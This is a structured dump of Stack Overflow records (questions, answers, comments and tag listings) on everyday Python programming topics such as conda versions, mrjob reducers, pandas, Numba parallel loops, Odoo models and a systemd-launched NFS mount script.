http://stackoverflow.com/comment/80965085
has text: Sorry updated the question
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47008691
type: QuestionComment

http://stackoverflow.com/q/46998581
has answer: http://stackoverflow.com/a/59434076
upvote count: 2
downvote count: 0
has title: changing conda default python version
favorite count: 0
type: Question
tagged with: anaconda
has body: First, I already do conda install python=3.6 and I know conda create --name py36 python=3.6 source activate py36 But, what I want to change is default python version of anaconda in platform : osx-64 conda version : 4.3.30 conda is private : False conda-env version : 4.3.30 conda-build version : 3.0.19 python version : 3.5.4.final.0 requests version : 2.14.2 root environment : /Users/moonkeelee/anaconda (writable) default environment : /Users/moonkeelee/anaconda envs directories : /Users/moonkeelee/anaconda/envs /Users/moonkeelee/.conda/envs package cache : /Users/moonkeelee/anaconda/pkgs /Users/moonkeelee/.conda/pkgs channel URLs : https://repo.continuum.io/pkgs/main/osx-64 https://repo.continuum.io/pkgs/main/noarch https://repo.continuum.io/pkgs/free/osx-64 https://repo.continuum.io/pkgs/free/noarch https://repo.continuum.io/pkgs/r/osx-64 https://repo.continuum.io/pkgs/r/noarch https://repo.continuum.io/pkgs/pro/osx-64 https://repo.continuum.io/pkgs/pro/noarch config file : None netrc file : None offline mode : False user-agent : conda/4.3.30 requests/2.14.2 CPython/3.5.4 Darwin/16.7.0 OSX/10.12.6 UID:GID : 501:20 As I said, I alreay do conda install python=3.6 but, it did not change the version of conda python version as you see above. If I redo install python 3.6 the following error occurred UnsatisfiableError: The following specifications were found to be in conflict: - argcomplete -&gt; argparse -&gt; python 2.6* - python 3.6* Use "conda info &lt;package&gt;" to see the dependencies for each package. Now.. I don't know how to do it. The reason I want to change default version of python, not use conda's environment, I want to develop python with atom, and if I check the python version in atom with import sys print(sys.version) the version always 3.5 although I installed python 3.6. please help
tagged with: python
linked to: http://stackoverflow.com/q/22585235
accepted answer: http://stackoverflow.com/a/46998735
score: 2
possible better answer: http://stackoverflow.com/a/59434076
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46998735
answer count: 2

http://stackoverflow.com/q/47010198
has comment: http://stackoverflow.com/comment/80966842
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80967123
type: Question
has comment: http://stackoverflow.com/comment/80967163
has title: using python script in CDATA in xml
tagged with: cdata
has body: I am having a scenario where I need to call a python script from within a CDATA section in a xml file. Just wanted to know if this is supported? and is there any way I can validate that it works? What I mean is, something like this - <?xml version="1.0" encoding="ISO-8859-1"?> /usr/bin/python /home/user/hello.py >> /home/user/out.log 2>&1 Everyday Italian Giada De Laurentiis 2005 30.00
tagged with: python
has comment: http://stackoverflow.com/comment/80970310
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/80968215
score: 0

http://stackoverflow.com/a/46992990
has body: You have two problems in reducer: If you check type of the temperature argument, you will see that it's a generator. A generator can be traversed only once so you cannot pass the same generator to both 'min' and 'max' functions. The right solution is to manually traverse it. A wrong solution - converting it to a list - may cause out of memory error on big enough input because a list holds all its elements in memory and a generator does not. Result of reducer must be a two-elements tuple. So you need to combine your min and max temperature in another tuple. Complete working solution: class MaxMinTemperature(MRJob): def mapper(self, _, line): location, datetime, measure, temperature, w, x, y, z = line.split(',') temperature = float(temperature)/10 if measure in ('TMAX', 'TMIN'): yield location, temperature def reducer(self, location, temperatures): min_temp = next(temperatures) max_temp = min_temp for item in temperatures: min_temp = min(item, min_temp) max_temp = max(item, max_temp) yield location, (min_temp, max_temp)
upvote count: 6
answers question: http://stackoverflow.com/q/46991616
has comment: http://stackoverflow.com/comment/80934537
type: AcceptedAnswer
downvote count: 0
score: 6
accepted answer of: http://stackoverflow.com/q/46991616
type: Answer

http://stackoverflow.com/q/46967179
tagged with: tuples
has comment: http://stackoverflow.com/comment/80881695
accepted answer: http://stackoverflow.com/a/46967294
tagged with: indexing
has answer: http://stackoverflow.com/a/46967355
has answer: http://stackoverflow.com/a/46967294
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/46967220
downvote count: 1
score: -1
has answer: http://stackoverflow.com/a/46967446
has answer: http://stackoverflow.com/a/46967220
favorite count: 0
has comment: http://stackoverflow.com/comment/80882621
answer count: 4
type: Question
has title: Starting from two lists, how to put the elements of the same index from each list into a list of tuples
upvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/80882441
has body: Consider two lists, each with 10 elements: list_one = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'] list_two = ['ok', 'good', None, 'great', None, None, 'amazing', 'terrible', 'not bad', None] How can I create a list of tuples in which each tuple in the list contains two elements of the same index from each list -- but also, I need to skip the None values, so my final list of 6 tuples which should look like this: final_list_of_tuples = [('a', 'ok'), ('b', 'good'), ('d', 'great'), ('g', 'amazing'), ('h', 'terrible'), ('i', 'not bad')] I tried the following code, but it puts every single one of the strings from list_one into a tuple with all of the strings from list_two: final_list_of_tuples = [] for x in list_one: for y in list_two: if y == None: pass else: e = (x,y) final_list_of_tuples.append(e)

http://stackoverflow.com/q/46958366
type: UnansweredQuestion
tagged with: python
downvote count: 0
has comment: http://stackoverflow.com/comment/80864369
upvote count: 1
score: 1
answer count: 1
has body: I was really surprised that I couldn't find this anywhere. In most languages, going through all possible pairs in a list looks something like this: for (i = 0; i &lt; length; i++) for (j = i + 1; j &lt; length; j++) do stuff But in python, you would have to do: for i in range (len(clusters)): for j in range (i+1, len(clusters)): do stuff I feel like that isn't very pythonic. What's the best way to do this?
linked to: http://stackoverflow.com/q/5389507
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46958433
duplicate of: http://stackoverflow.com/q/942543
has title: Pythonic way to loop over all pairs of a list

http://stackoverflow.com/comment/80845577
score: 0
type: Comment
has text: language specified by my leader is Python. You proposal that, load chunk of file to RAM, and process this chunk by many threads?
type: AnswerComment
comment on: http://stackoverflow.com/a/46949128

http://stackoverflow.com/comment/81045272
has text: I did find this post before I posted mine. This post wasn't applicable to mine or I don't know how to apply this to my question.
type: QuestionComment
comment on: http://stackoverflow.com/q/47048327
score: 0
type: Comment

euclidean-distance
type: Tag
tags question: http://stackoverflow.com/q/46908388
tag name: euclidean-distance

http://stackoverflow.com/q/46924850
score: 4
has body: I need to check in my lines, the products I have, their respective quantities, and know what is the availability of such products in warehouses, the stock.move and stock.picking do something like that, but it's old api, I need a custom method. This is my method: class bsi_production_order(models.Model): _name = 'bsi.production.order' name = fields.Char('Reference', required=True, index=True, copy=False, readonly='True', default='New') date = fields.Date(string="Production Date") production_type = fields.Selection([ ('budgeted','Budgeted'), ('nonbudgeted','Non Budgeted'), ('direct','Direct Order'), ], string='Type of Order', index=True, track_visibility='onchange', copy=False, help=" ") notes = fields.Text(string="Notes") order_lines = fields.One2many('bsi.production.order.lines', 'production_order', states={'finished': [('readonly', True)], 'cancel': [('readonly', True)]}, string="Order lines", copy=True) print_orders = fields.One2many('bsi.print.order', 'production_orders', string="Print Orders") warehouse_quantity = fields.Char(compute='quantity', string='Quantity per warehouse') class bsi_production_order_lines(models.Model): _name = 'bsi.production.order.lines' production_order = fields.Many2one('bsi.production.order', string="Production Orders") isbn = fields.Many2one('product.product', string="ISBN", domain="[('is_isbn', '=', True)]") qty = fields.Integer(string="Quantity") consumed_qty = fields.Float(string="Consumed quantity") remaining_qty = fields.Float(string="Remaining quantity") I need to check from bsi.production.order on the order_lines One2many field, the isbn which is a product, how much of it is available on all the locations of the system, also, compare it to the qty field, so, from there I can go to another state on the object. Think about the stock.picking or stock.move objects. It's basically the same logic. So far, I've tried this method, to check if there is any line on the One2many object. @api.multi @api.depends('order_lines', 'order_lines.…
has answer: http://stackoverflow.com/a/46960783
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/43422644
tagged with: odoo
tagged with: odoo-8
has comment: http://stackoverflow.com/comment/80808848
accepted answer: http://stackoverflow.com/a/46960783
favorite count: 0
type: Question
upvote count: 4
downvote count: 0
answer count: 1
has title: Read product qty on lines and on warehouses
tagged with: python

http://stackoverflow.com/a/46950181
answers question: http://stackoverflow.com/q/46950037
downvote count: 0
has body: Use np.flatnonzero + np.insert: x = np.insert(df.values, np.flatnonzero(df.values[:, 0] == 'X'), 'new_r', axis=0) pd.DataFrame(x, columns=df.columns) Col1 Col2 Col3 0 new_r new_r new_r 1 X B 4 2 A C 5 3 B L 1 4 new_r new_r new_r 5 X E 1 6 D O 1 7 new_r new_r new_r 8 X W 1 9 G F 3 10 H P 4 11 Z Y 3 12 new_r new_r new_r 13 X U 8
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/46950037
score: 2
upvote count: 2

pandas-groupby
tags question: http://stackoverflow.com/q/46979414
tags question: http://stackoverflow.com/q/46938572
tags question: http://stackoverflow.com/q/46996277
tags question: http://stackoverflow.com/q/46995997
tags question: http://stackoverflow.com/q/47064323
tags question: http://stackoverflow.com/q/46982965
type: Tag
tags question: http://stackoverflow.com/q/46936595
tags question: http://stackoverflow.com/q/47064468
tags question: http://stackoverflow.com/q/47002949
tags question: http://stackoverflow.com/q/46995864
tags question: http://stackoverflow.com/q/46959974
tags question: http://stackoverflow.com/q/47005968
tags question: http://stackoverflow.com/q/47046145
tags question: http://stackoverflow.com/q/46941874
tags question: http://stackoverflow.com/q/46966003
tags question: http://stackoverflow.com/q/47038474
tags question: http://stackoverflow.com/q/46941106
tags question: http://stackoverflow.com/q/46998156
tags question: http://stackoverflow.com/q/47014285
tags question: http://stackoverflow.com/q/46981929
tags question: http://stackoverflow.com/q/46964711
tags question: http://stackoverflow.com/q/47053270
tags question: http://stackoverflow.com/q/47037250
tags question: http://stackoverflow.com/q/46937399
tags question: http://stackoverflow.com/q/46919395
tags question: http://stackoverflow.com/q/47059135
tags question: http://stackoverflow.com/q/47054124
tag name: pandas-groupby
tags question: http://stackoverflow.com/q/46988048
tags question: http://stackoverflow.com/q/47025365
tags question: http://stackoverflow.com/q/46986114

http://stackoverflow.com/q/47021610
has comment: http://stackoverflow.com/comment/80993298
type: Question
has title: Having troubles with urlib when using "2to3"
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80990181
score: 0
tagged with: python-2to3
answer count: 0
has comment: http://stackoverflow.com/comment/80993674
has body: I'm trying to convert a code from python 2 to python 3, that makes a request from simsimi api. Python 2 code : # -*- coding: utf- -*- import urllib import urllib2 url = "http://sandbox.api.simsimi.com/request.p?" text_input = raw_input("Input your text: ") lc_input = raw_input("Input your lc: ") text = text_input.encode("utf-8") lc = lc_input.encode("utf-8") values = {'key' : 'api key', 'lc' : lc, 'ft' : '0.0', 'text' : text} data = urllib.urlencode(values) request_url = urllib2.Request(url, data) response_post = urllib2.urlopen(request_url) response = response_post.read().decode("utf-8") print response Python 3 code(result): # -*- coding: utf- -*- import urllib.request, urllib.parse, urllib.error import urllib.request, urllib.error, urllib.parse url = "http://sandbox.api.simsimi.com/request.p?" text_input = input("Input your text: ") lc_input = input("Input your lc: ") text = text_input.encode("utf-8") lc = lc_input.encode("utf-8") values = {'key' : 'api key', 'lc' : lc, 'ft' : '0.0', 'text' : text} data = urllib.parse.urlencode(values) request_url = urllib.request.Request(url, data) response_post = urllib.request.urlopen(request_url).encode("utf-8") response = response_post.read().decode("utf-8") print(response) When I run the python 3 code, I get this error:
has comment: http://stackoverflow.com/comment/81109743

http://stackoverflow.com/comment/80806496
comment on: http://stackoverflow.com/a/46928174
type: Comment
has text: What is [Products]? Essentially you have to pd.merge on the original dataframe and the matrix that you get from one hot encoder. There should be no reason for you to get NaN values.
type: AnswerComment
score: 0

http://stackoverflow.com/a/47030377
answers question: http://stackoverflow.com/q/47026116
downvote count: 0
upvote count: 1
type: Answer
has body: I would start by using Numpy to read the data, which is far easier than processing the file manually. A small example using a subset of your data: import numpy as np import matplotlib.pylab as pl # Load file with Numpy as 2D array f = np.loadtxt('file.txt', delimiter=',') # Slice array (remove year column), and reshape to 1D data = f[:,1:].reshape(-1) # Plot! pl.figure() pl.bar(np.arange(data.size), data) Or, to put something more useful on the x-axis: import numpy as np import matplotlib.pylab as pl # Load file with Numpy as 2D array f = np.loadtxt('file.txt', delimiter=',') # Slice array (remove year column), and reshape to 1D years = f[:,0].astype(np.int) data = f[:,1:].reshape(-1) # Plot! pl.figure() pl.bar(np.arange(data.size), data) # Set years as x-labels ax=pl.gca() ax.set_xticks(np.arange(0,data.size,12)) ax.set_xticklabels(years)
score: 1

http://stackoverflow.com/comment/80900848
comment on: http://stackoverflow.com/q/46976294
has text: @SandeepLade I'm not actually sure as that was the problem!
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80763103
comment on: http://stackoverflow.com/q/46908171
score: 0
has text: what do you mean by "according to the documentation default is set to false"? You can set default to whatever you want.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/80766195
type: Comment
type: QuestionComment
score: 0
has text: No, there isn't.
comment on: http://stackoverflow.com/q/46909813

http://stackoverflow.com/comment/80931004
score: 0
type: QuestionComment
has text: I am now confused... Can you give me all data otput from your sample data in question?
type: Comment
comment on: http://stackoverflow.com/q/46991680

http://stackoverflow.com/q/46923475
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/80794063
has comment: http://stackoverflow.com/comment/80794279
has answer: http://stackoverflow.com/a/46923496
has answer: http://stackoverflow.com/a/46924234
possible better answer: http://stackoverflow.com/a/46923496
tagged with: python
has comment: http://stackoverflow.com/comment/80794102
type: Question
answer count: 2
upvote count: 0
downvote count: 2
tagged with: selenium
accepted answer: http://stackoverflow.com/a/46924234
tagged with: web-scraping
has body: I am trying to print text of a job for. Unfortunately, the href keeps displaying none and I keep getting errors for printing the text I get the following error: Traceback (most recent call last): File "C:/Users/Bain3/PycharmProjects/untitled4/Bookmaker improved ALTERNATIVE.py", line 155, in &lt;module&gt; print(bet.text) AttributeError: 'str' object has no attribute 'text' Code below or full code here with open('Aperture Science.csv', 'a+', newline='\n') as file: writer = csv.writer(file) for section in sections: try: link = section.find_element_by_css_selector("h3 a").get_attribute("href") print((section.get_attribute('href'))) except NoSuchElementException: pass time.sleep(7) try: team_name = section.find_element_by_css_selector(".row:nth-child(1) td:nth-child(1)").text print(section.text) except NoSuchElementException: pass time.sleep(7) try: bet = section.find_element_by_css_selector(".odds .odds span").text print(bet.text) except NoSuchElementException: pass time.sleep(7) writer.writerow((bet, team_name, link)) I have tried variations like: for section in sections: try: link = section.find_element_by_css_selector("h3 a").get_attribute("href") print((link.get_attribute('href'))) As well as: team_name = section.find_element_by_css_selector(".row:nth-child(1) td:nth-child(1)").text print(team_name.text) print(section.text) works, though this is not the text I am wanting to print. Any ideas?
favorite count: 0
has title: AttributeError: 'str' object has no attribute 'text' printing css error
tagged with: python-3.x
type: AnsweredQuestion
score: -2

http://stackoverflow.com/q/47041918
tagged with: python-sphinx
downvote count: 0
tagged with: django
tagged with: python
score: 2
has title: launch sphinx commands "make clean" and "make html" from django.core.management call_command
has body: Is there any way to launch sphinx commands "make clean" and "make html" from from django.core.management call_command? I need to refresh docs generated by sphinx every day, so I was thinking to use django-crontab to set a daily job. This job would call "make clean" and "make html" to automatically generate doc. But, maybe there is a simpler way to refresh docs generated by sphinx every day? Thanks!
favorite count: 0
type: Question
answer count: 0
upvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/q/46937126
tagged with: python
has answer: http://stackoverflow.com/a/46937529
has comment: http://stackoverflow.com/comment/80821557
possible better answer: http://stackoverflow.com/a/46937177
has comment: http://stackoverflow.com/comment/80821547
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80821503
has comment: http://stackoverflow.com/comment/80821431
upvote count: 1
has comment: http://stackoverflow.com/comment/80821430
has body: I have a question: How to use "strip" function to slice a date like "24.02.1999"? The output should be like this '24', '02', '1999'. Can you help to solve this?
has answer: http://stackoverflow.com/a/46937177
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: split
has answer: http://stackoverflow.com/a/46937599
answer count: 5
has answer: http://stackoverflow.com/a/46937312
accepted answer: http://stackoverflow.com/a/46937312
has answer: http://stackoverflow.com/a/46937363
has title: How to distinguish between date, month and year in the string?

http://stackoverflow.com/comment/80941703
type: Comment
comment on: http://stackoverflow.com/a/46997293
has text: Try posting a new question. Having current output and your expected output
score: 0
type: AnswerComment

http://stackoverflow.com/a/47830250
has comment: http://stackoverflow.com/comment/102754152
upvote count: 28
has comment: http://stackoverflow.com/comment/102734444
has comment: http://stackoverflow.com/comment/82702518
has comment: http://stackoverflow.com/comment/102810597
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/110458611
downvote count: 0
answers question: http://stackoverflow.com/q/46924092
score: 28
has comment: http://stackoverflow.com/comment/102723359
has body: Numba has been updated and prange() works now! (I'm answering my own question.) The improvements to Numba's parallel computing capabilities are discussed in this blog post, dated December 12, 2017. Here is a relevant snippet from the blog: Long ago (more than 20 releases!), Numba used to have support for an idiom to write parallel for loops called prange(). After a major refactoring of the code base in 2014, this feature had to be removed, but it has been one of the most frequently requested Numba features since that time. After the Intel developers parallelized array expressions, they realized that bringing back prange would be fairly easy Using Numba version 0.36.1, I can parallelize my embarrassingly parallel for-loop using the following simple code: @numba.jit(nopython=True, parallel=True) def csrMult_parallel(x,Adata,Aindices,Aindptr,Ashape): numRowsA = Ashape[0] Ax = np.zeros(numRowsA) for i in numba.prange(numRowsA): Ax_i = 0.0 for dataIdx in range(Aindptr[i],Aindptr[i+1]): j = Aindices[dataIdx] Ax_i += Adata[dataIdx]*x[j] Ax[i] = Ax_i return Ax In my experiments, parallelizing the for-loop made the function execute about eight times faster than the version I posted at the beginning of my question, which was already using Numba, but which was not parallelized. Moreover, in my experiments the parallelized version is about 5x faster than the command Ax = A.dot(x) which uses scipy's sparse matrix-vector multiplication function. Numba has crushed scipy and I finally have a python sparse matrix-vector multiplication routine that is as fast as MATLAB.
accepted answer of: http://stackoverflow.com/q/46924092
has comment: http://stackoverflow.com/comment/82663050
has comment: http://stackoverflow.com/comment/82707540
type: Answer
has comment: http://stackoverflow.com/comment/102723626
has comment: http://stackoverflow.com/comment/102962403
has comment: http://stackoverflow.com/comment/102822999
has comment: http://stackoverflow.com/comment/82626358
has comment: http://stackoverflow.com/comment/82663319
has comment: http://stackoverflow.com/comment/82710661

http://stackoverflow.com/comment/80848573
score: 0
comment on: http://stackoverflow.com/q/46943389
type: QuestionComment
has text: Added plt.axis('equal') to fix my intuition.
type: Comment

http://stackoverflow.com/comment/133634090
type: Comment
type: AnswerComment
has text: As other answers have stated, the standard logging module already gives access to the same instance on a module level. And to reuse the configurations, one should make use of the inheritance of loggers between submodules
score: 0
comment on: http://stackoverflow.com/a/47870170

http://stackoverflow.com/comment/80779609
type: AnswerComment
score: 0
type: Comment
has text: @mohammedqudah it's ok to have more than one answer to a question, please don't ask users to delete their answers. In the view, there's a good chance that the department will have been fetched already, so querying `category__department=<DepartmentX>` is a good approach.
comment on: http://stackoverflow.com/a/46913972

string
tags question: http://stackoverflow.com/q/47045497
tags question: http://stackoverflow.com/q/46946715
tags question: http://stackoverflow.com/q/46920126
tags question: http://stackoverflow.com/q/46962402
tags question: http://stackoverflow.com/q/46920454
tags question: http://stackoverflow.com/q/46916239
tags question: http://stackoverflow.com/q/46992975
tags question: http://stackoverflow.com/q/46913651
tags question: http://stackoverflow.com/q/47009752
tags question: http://stackoverflow.com/q/46959182
tags question: http://stackoverflow.com/q/47033626
type: Tag
tags question: http://stackoverflow.com/q/46929634
tags question: http://stackoverflow.com/q/47009214
tags question: http://stackoverflow.com/q/46944301
tags question: http://stackoverflow.com/q/47061564
tags question: http://stackoverflow.com/q/47038551
tags question: http://stackoverflow.com/q/47041305
tags question: http://stackoverflow.com/q/46959491
tags question: http://stackoverflow.com/q/47027439
tags question: http://stackoverflow.com/q/47033153
tags question: http://stackoverflow.com/q/46937916
tags question: http://stackoverflow.com/q/46967080
tags question: http://stackoverflow.com/q/46983009
tags question: http://stackoverflow.com/q/46995107
tags question: http://stackoverflow.com/q/46982394
tags question: http://stackoverflow.com/q/46964323
tags question: http://stackoverflow.com/q/47030458
tags question: http://stackoverflow.com/q/47015416
tags question: http://stackoverflow.com/q/47019278
tags question: http://stackoverflow.com/q/46981263
tags question: http://stackoverflow.com/q/47034704
tags question: http://stackoverflow.com/q/46992029
tags question: http://stackoverflow.com/q/46943685
tags question: http://stackoverflow.com/q/46985085
tags question: http://stackoverflow.com/q/46907083
tags question: http://stackoverflow.com/q/47022641
tags question: http://stackoverflow.com/q/47030227
tags question: http://stackoverflow.com/q/46996602
tags question: http://stackoverflow.com/q/47000367
tags question: http://stackoverflow.com/q/46956057
tags question: http://stackoverflow.com/q/46989232
tags question: http://stackoverflow.com/q/47004945
tags question: http://stackoverflow.com/q/46920185
tags question: http://stackoverflow.com/q/47004761
tags question: http://stackoverflow.com/q/47037518
tags question: http://stackoverflow.com/q/47002832
tags question: http://stackoverflow.com/q/47026871
tags question: http://stackoverflow.com/q/46975180
tags question: http://stackoverflow.com/q/47032794
tags question: http://stackoverflow.com/q/46932542
tags question: http://stackoverflow.com/q/46946923
tags question: http://stackoverflow.com/q/47042839
tags question: http://stackoverflow.com/q/47027850
tags question: http://stackoverflow.com/q/46949110
tags question: http://stackoverflow.com/q/46921085
tags question: http://stackoverflow.com/q/47025834
tags question: http://stackoverflow.com/q/46970394
tags question: http://stackoverflow.com/q/46918891
tags question: http://stackoverflow.com/q/46939109
tags question: http://stackoverflow.com/q/46998156
tags question: http://stackoverflow.com/q/46990926
tags question: http://stackoverflow.com/q/46987604
tags question: http://stackoverflow.com/q/47013256
tags question: http://stackoverflow.com/q/47000655
tags question: http://stackoverflow.com/q/47062184
tags question: http://stackoverflow.com/q/47048086
tags question: http://stackoverflow.com/q/47013307
tags question: http://stackoverflow.com/q/46988489
tags question: http://stackoverflow.com/q/47001543
tags question: http://stackoverflow.com/q/47006311
tags question: http://stackoverflow.com/q/46942263
tags question: http://stackoverflow.com/q/46950923
tags question: http://stackoverflow.com/q/47003246
tags question: http://stackoverflow.com/q/46945062
tags question: http://stackoverflow.com/q/46921465
tags question: http://stackoverflow.com/q/47051266
tags question: http://stackoverflow.com/q/46918335
tags question: http://stackoverflow.com/q/47024635
tags question: http://stackoverflow.com/q/46992308

http://stackoverflow.com/q/46916585
accepted answer: http://stackoverflow.com/a/46920577
type: AnsweredQuestion
score: 0
has title: Python & BeautifulSoup : How to extract a tags' value which is in many others tags?
has answer: http://stackoverflow.com/a/46920577
answer count: 1
has body: diamonds I would like to extract the pseudo 'diamonds' which is in the 'a' tag with BeautifulSoup. I tried a lot of things but it always return me 'None'. For me the thing which was supposed to work was this txt = soup.find('a', {'class': 'xXx text-user topic-author'}) print (txt)
favorite count: 0
tagged with: beautifulsoup
type: Question
has comment: http://stackoverflow.com/comment/80781986
has comment: http://stackoverflow.com/comment/80780755
has comment: http://stackoverflow.com/comment/80781002
has comment: http://stackoverflow.com/comment/80782097
has comment: http://stackoverflow.com/comment/80782484
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80781818
has comment: http://stackoverflow.com/comment/80780862
tagged with: css
downvote count: 1
has comment: http://stackoverflow.com/comment/80782316

http://stackoverflow.com/q/46911738
type: Question
has body: I wrote a systemd script and python script for auto detect mounting. Systemd Script: [Unit] Description=TAD_Client - TAD WebService After=network.target [Service] User=root Type=forking ExecStart=/data/.services/autoconfig.sh start ExecReload=/data/.services/autoconfig.sh restart ExecStop=/data/.services/autoconfig.sh stop PrivateTmp=true [Install] WantedBy=multi-user.target Shell Script(part): export SHELL=/bin/bash case "$1" in "start" ) echo "configuration service start" exec "/usr/bin/python" /data/.services/AutoConfiguration.py run &amp; ;; "stop" ) echo "configuration service stop" exec "/usr/bin/python" /data/.services/AutoConfiguration.py stop ;; "restart" ) echo "restart configuration service" exec "/usr/bin/python" /data/.services/AutoConfiguration.py stop exec "/usr/bin/python" /data/.services/AutoConfiguration.py run &amp; ;; Python Script(part): def mount_peu_server(self): mount_command = 'mount -t nfs ' + server_ip.addr + ':/mnt /mnt' p = subprocess.Popen(mount_command, stdout=subprocess.PIPE) out, err = p.communicate() self.log_error(out) self.log_error(err) When I use systemd to start the script as a service, the mount command is not working, but if i execute the python script file directly, the mount command can be executed successfully. I have checked the output and err output, subprocess returns nothing. I think it could be a privilege problem, but this service is running by root user, which should not require any privilege anymore.
has comment: http://stackoverflow.com/comment/80770574
answer count: 0
type: UnansweredQuestion
tagged with: python
tagged with: systemd
score: 0
tagged with: linux
has comment: http://stackoverflow.com/comment/80770637
tagged with: nfs
tagged with: mount
has title: systemd execute python script to mount NFS driver is not working

http://stackoverflow.com/comment/80876161
has text: @РусланПавлюк - so do you mean you want to get the keyboard input within the pygame window? Do you want the input added on the line with the comment `# I want to add input here` or later on in the for loop?
comment on: http://stackoverflow.com/a/46950879
score: 0
type: AnswerComment
type: Comment

python
tags question: http://stackoverflow.com/q/46945226
tags question: http://stackoverflow.com/q/46975868
tags question: http://stackoverflow.com/q/47056814
tags question: http://stackoverflow.com/q/46984001
tags question: http://stackoverflow.com/q/46991582
tags question: http://stackoverflow.com/q/46959044
tags question: http://stackoverflow.com/q/46952953
tags question: http://stackoverflow.com/q/47010169
tags question: http://stackoverflow.com/q/46990167
tags question: http://stackoverflow.com/q/47019447
tags question: http://stackoverflow.com/q/46984926
tags question: http://stackoverflow.com/q/46917671
tags question: http://stackoverflow.com/q/46948053
tags question: http://stackoverflow.com/q/47016702
tags question: http://stackoverflow.com/q/46931833
tags question: http://stackoverflow.com/q/47062622
tags question: http://stackoverflow.com/q/47010260
tags question: http://stackoverflow.com/q/46991680
tags question: http://stackoverflow.com/q/46956340
tags question: http://stackoverflow.com/q/46929420
tags question: http://stackoverflow.com/q/47003418
tags question: http://stackoverflow.com/q/46914083
tags question: http://stackoverflow.com/q/46953437
tags question: http://stackoverflow.com/q/47003318
tags question: http://stackoverflow.com/q/46966148
tags question: http://stackoverflow.com/q/46924308
tags question: http://stackoverflow.com/q/47006734
tags question: http://stackoverflow.com/q/46941571
tags question: http://stackoverflow.com/q/46932528
tags question: http://stackoverflow.com/q/47024566
tags question: http://stackoverflow.com/q/47028029
tags question: http://stackoverflow.com/q/47038476
tags question: http://stackoverflow.com/q/47063811
tags question: http://stackoverflow.com/q/46940139
tags question: http://stackoverflow.com/q/46911895
tags question: http://stackoverflow.com/q/47053770
tags question: http://stackoverflow.com/q/46990098
tags question: http://stackoverflow.com/q/47037033
tags question: http://stackoverflow.com/q/46970773
tags question: http://stackoverflow.com/q/47054458
tags question: http://stackoverflow.com/q/46968100
tags question: http://stackoverflow.com/q/46992346
tags question: http://stackoverflow.com/q/46914960
tags question: http://stackoverflow.com/q/47028283
tags question: http://stackoverflow.com/q/46909726
tags question: http://stackoverflow.com/q/46934786
tags question: http://stackoverflow.com/q/46905903
tags question: http://stackoverflow.com/q/47039170
tags question: http://stackoverflow.com/q/47036177
tags question: http://stackoverflow.com/q/47006695
tags question: http://stackoverflow.com/q/46950661
tags question: http://stackoverflow.com/q/46971148
tags question: http://stackoverflow.com/q/46986343
tags question: http://stackoverflow.com/q/47023095
tags question: http://stackoverflow.com/q/46944632
tags question: http://stackoverflow.com/q/46979400
tags question: http://stackoverflow.com/q/46960128
tags question: http://stackoverflow.com/q/47005488
tags question: http://stackoverflow.com/q/46963606
tags question: http://stackoverflow.com/q/47050862
tags question: http://stackoverflow.com/q/47026050
tags question: http://stackoverflow.com/q/46923292
tags question: http://stackoverflow.com/q/46958264
tags question: http://stackoverflow.com/q/47050647
tags question: http://stackoverflow.com/q/46926536
tags question: http://stackoverflow.com/q/46992303
tags question: http://stackoverflow.com/q/46934782
tags question: http://stackoverflow.com/q/46929950
tags question: http://stackoverflow.com/q/46936032
tags question: http://stackoverflow.com/q/46994200
tags question: http://stackoverflow.com/q/47044610
tags question: http://stackoverflow.com/q/46959126
tags question: http://stackoverflow.com/q/47046052
tags question: http://stackoverflow.com/q/46984620
tags question: http://stackoverflow.com/q/47056391
tags question: http://stackoverflow.com/q/46930662
tags question: http://stackoverflow.com/q/46990777
tags question: http://stackoverflow.com/q/47061990
tags question: http://stackoverflow.com/q/47026423
tags question: http://stackoverflow.com/q/46918055

http://stackoverflow.com/a/60555069
has body: I think I found a simpler solution: def test_ipkernel(): import sys which = 'IS' if 'ipykernel_launcher.py' in sys.argv[0] else 'IS NOT' msg = f'Code *{which}* running in Jupyter platform (notebook, lab, etc.)' print(msg) If I run the function in JuyterLab, the output is: Code *IS* running in Jupyter platform (notebook, lab, etc.) In VS Code, it is: Code *IS NOT* running in Jupyter platform (notebook, lab, etc.)
score: 2
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/47052861
downvote count: 0

http://stackoverflow.com/q/46998062
has title: Python jupyter file not found in iCloud error
tagged with: python
has comment: http://stackoverflow.com/comment/80942713
has body: I'm rather new to Python (and Jupyter notebook), so this might be a pretty elementary question. I'm currently trying to import data from a CSV file using pandas, but I keep getting the file not found error. I have gone through a few similar questions on Stack Overflow, but I still couldn't fix it. df1=pd.read_csv("../Documents/septemberoctober2017jikkendata/XViewerData/20171016/slit/slithalfopen.csv") The error I get is FileNotFoundError: File b'../Documents/septemberoctober2017jikkendata/XViewerData/20171016/slit/slithalfopen.csv' does not exist The document info states that the file is kept in the iCloud drive. Is that the reason for the error?
has comment: http://stackoverflow.com/comment/80942739
has comment: http://stackoverflow.com/comment/80943181
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80942900
answer count: 2
possible better answer: http://stackoverflow.com/a/51499129
accepted answer: http://stackoverflow.com/a/47001719
type: Question
has answer: http://stackoverflow.com/a/51499129
has answer: http://stackoverflow.com/a/47001719
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
